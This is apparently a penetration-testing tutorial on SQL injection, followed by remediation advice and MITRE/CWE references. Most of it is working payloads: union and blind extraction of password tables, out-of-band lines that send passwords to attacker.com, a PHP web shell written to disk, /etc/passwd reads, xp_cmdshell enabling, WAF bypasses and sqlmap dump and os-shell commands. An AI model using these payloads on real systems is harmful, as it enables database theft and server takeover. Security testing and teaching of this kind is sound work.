
SQL Injection: Complete Attack Guide
SQL injection attacks including detection, exploitation, bypass techniques, and remediation for web application penetration testing.
Introduction
SQL Injection (SQLi) remains a critical web application vulnerability, consistently ranking in the OWASP Top 10. It occurs when user-controlled input is incorporated into SQL queries without proper sanitization, allowing attackers to manipulate database queries, bypass authentication, extract sensitive data, or even execute system commands.
Despite being a well-known vulnerability class, SQLi continues to plague modern applications due to legacy code, improper ORM usage, and developer oversight. Understanding SQLi techniques is essential for penetration testers and crucial for developers building secure applications.
Types of SQL Injection
In-Band SQLi (Classic)
A straightforward and frequently encountered form where results are returned directly in the application response.
Error-Based SQLi
Leverages database error messages to extract information:
-- MySQL error extraction
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))-- -
-- MSSQL error extraction
' AND 1=CONVERT(int, (SELECT @@version))-- -
-- PostgreSQL error extraction
' AND 1=CAST((SELECT version()) AS int)-- -Union-Based SQLi
Uses UNION SELECT to append results from injected queries:
-- Determine number of columns
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- - (until error)
-- Find displayable columns
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -
-- Extract data
' UNION SELECT username,password,NULL FROM users-- -Blind SQLi
No visible output in responses; must infer results through application behavior.
Boolean-Based Blind
Application returns different responses for true/false conditions:
-- Test for blind SQLi
' AND 1=1-- - (normal response)
' AND 1=2-- - (different response)
-- Extract data character by character
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='b'-- -
-- Binary search for efficiency
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>77-- -Time-Based Blind
Uses database delays to infer information:
-- MySQL
' AND IF(1=1, SLEEP(5), 0)-- -
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0)-- -
-- MSSQL
'; WAITFOR DELAY '0:0:5'-- -
'; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'-- -
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- -Out-of-Band SQLi
Exfiltrates data through alternative channels (DNS, HTTP).
-- MySQL DNS exfiltration
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a'))-- -
-- MSSQL DNS exfiltration
'; EXEC master..xp_dirtree '\\' + (SELECT TOP 1 password FROM users) + '.attacker.com\a'-- -
-- Oracle HTTP exfiltration
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE ROWNUM=1)) FROM dual-- -Database-Specific Techniques
MySQL
-- Version and user
SELECT @@version, user(), database()
-- List databases
SELECT schema_name FROM information_schema.schemata
-- List tables
SELECT table_name FROM information_schema.tables WHERE table_schema='target_db'
-- List columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- File read (requires FILE privilege)
SELECT LOAD_FILE('/etc/passwd')
-- File write
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'Microsoft SQL Server
-- Version and user
SELECT @@version, SYSTEM_USER, DB_NAME()
-- List databases
SELECT name FROM sys.databases
-- List tables
SELECT name FROM sys.tables
-- List columns
SELECT name FROM sys.columns WHERE object_id=OBJECT_ID('users')
-- Command execution (requires xp_cmdshell)
EXEC xp_cmdshell 'whoami'
-- Enable xp_cmdshell if disabled
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;PostgreSQL
-- Version and user
SELECT version(), current_user, current_database()
-- List databases
SELECT datname FROM pg_database
-- List tables
SELECT tablename FROM pg_tables WHERE schemaname='public'
-- List columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- File read
SELECT pg_read_file('/etc/passwd')
-- Command execution (requires superuser)
COPY cmd_output FROM PROGRAM 'id';Oracle
-- Version and user
SELECT banner FROM v$version, user FROM dual
-- List tables
SELECT table_name FROM all_tables WHERE owner='SCHEMA_NAME'
-- List columns
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'WAF Bypass Techniques
Encoding Bypasses
-- URL encoding
%27%20OR%201%3D1--%20-
-- Double URL encoding
%2527%2520OR%25201%253D1--%2520-
-- Unicode encoding
' OR 1=1-- - → %u0027%u0020OR%u00201%u003D1--%u0020-
-- Hex encoding
' UNION SELECT 0x61646d696e-- - (admin in hex)Case Manipulation
-- Mixed case
' uNiOn SeLeCt * fRoM users-- -
-- Using comments
' UN/**/ION SEL/**/ECT * FROM users-- -Whitespace Alternatives
-- Tab instead of space
'%09UNION%09SELECT%09*%09FROM%09users--%09-
-- Comments as spaces
'/**/UNION/**/SELECT/**/password/**/FROM/**/users--/**/-
-- Newlines
'%0aUNION%0aSELECT%0a*%0aFROM%0ausers--%0a-Function Alternatives
-- Instead of CONCAT()
'||' (Oracle, PostgreSQL)
'+' (MSSQL)
-- Instead of SUBSTRING()
MID(), SUBSTR(), LEFT(), RIGHT()
-- Instead of ASCII()
ORD(), HEX()No Quotes Bypass
-- Using hex
' UNION SELECT * FROM users WHERE username=0x61646d696e-- -
-- Using CHAR()
' UNION SELECT * FROM users WHERE username=CHAR(97,100,109,105,110)-- -Exploitation Tools
SQLMap
The industry-standard automated SQL injection tool:
# Basic detection
sqlmap -u "http://target.com/page?id=1"
# With POST data
sqlmap -u "http://target.com/login" --data="user=admin&pass=test"
# Through proxy (Burp)
sqlmap -u "http://target.com/page?id=1" --proxy="http://127.0.0.1:8080"
# Enumerate databases
sqlmap -u "http://target.com/page?id=1" --dbs
# Dump specific table
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump
# OS shell (if possible)
sqlmap -u "http://target.com/page?id=1" --os-shell
# Bypass WAF
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,between
# Risk and level
sqlmap -u "http://target.com/page?id=1" --risk=3 --level=5Detection Methodology
Manual Testing
- Identify injection points: Forms, URL parameters, headers, cookies
- Test with special characters:
' " ; -- /* */ - Observe responses: Error messages, behavior changes, timing
- Confirm vulnerability: Boolean conditions, UNION statements
Common Test Payloads
-- Basic tests
'
"
`
')
")
`)
'))
"))
`))
-- Comment tests
'--
'#
'/*
-- Boolean tests
' OR '1'='1
' OR '1'='1'--
' OR 1=1--
" OR 1=1--
OR 1=1--
-- Time-based tests
' OR SLEEP(5)--
' WAITFOR DELAY '0:0:5'--
' OR pg_sleep(5)--Impact Assessment
Data Exfiltration
- User credentials
- Personal information (PII)
- Financial data
- Proprietary business data
Authentication Bypass
- Admin panel access
- User impersonation
- Privilege escalation
System Compromise
- Command execution
- File read/write
- Lateral movement to database server
Remediation
Parameterized Queries
# Python with psycopg2 (SECURE)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# Node.js with mysql2 (SECURE)
connection.execute("SELECT * FROM users WHERE id = ?", [userId])
# Java with PreparedStatement (SECURE)
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setInt(1, userId);Input Validation
# Whitelist validation
import re
if not re.match(r'^[a-zA-Z0-9]+$', user_input):
raise ValueError("Invalid input")
# Type casting
user_id = int(request.args.get('id'))Least Privilege
- Use application-specific database accounts
- Restrict permissions to required tables/operations
- Disable dangerous functions (xp_cmdshell, LOAD_FILE)
Web Application Firewall
Deploy WAF rules for known SQLi patterns as defense-in-depth.
References
MITRE ATT&CK Techniques
- T1190 - Exploit Public-Facing Application - Initial access via SQLi
- T1505.003 - Server Software Component: Web Shell - Post-exploitation via SQL injection
- T1059.003 - Command and Scripting Interpreter: Windows Command Shell - OS command execution via xp_cmdshell
- T1552.001 - Unsecured Credentials: Credentials In Files - Database credential extraction
Common Weakness Enumeration
- CWE-89 - Improper Neutralization of Special Elements used in an SQL Command - Primary SQL injection weakness
- CWE-564 - SQL Injection: Hibernate - ORM-specific SQLi
OWASP Resources
- OWASP SQL Injection - Comprehensive guide
- OWASP SQL Injection Prevention Cheat Sheet - Remediation guidance
Tools Documentation
- sqlmap - Automated SQL injection tool
- Burp Suite SQL Injection - Testing methodologies
Related Articles
- Cross-Site Scripting (XSS) - Another injection attack class
- Authentication Bypass - SQLi is often used for auth bypass
- API Security - SQL injection in API endpoints
Last updated on
Outdated JavaScript Dependencies
Security risks of outdated JavaScript dependencies including XSS, RCE, and supply chain attacks. Detection strategies and remediation using npm audit and Snyk.
TLS / SSL information leakage
How TLS/SSL misconfiguration and implementation flaws can leak sensitive information and allow MitM, session hijack, or credential theft detection and remediation guidance.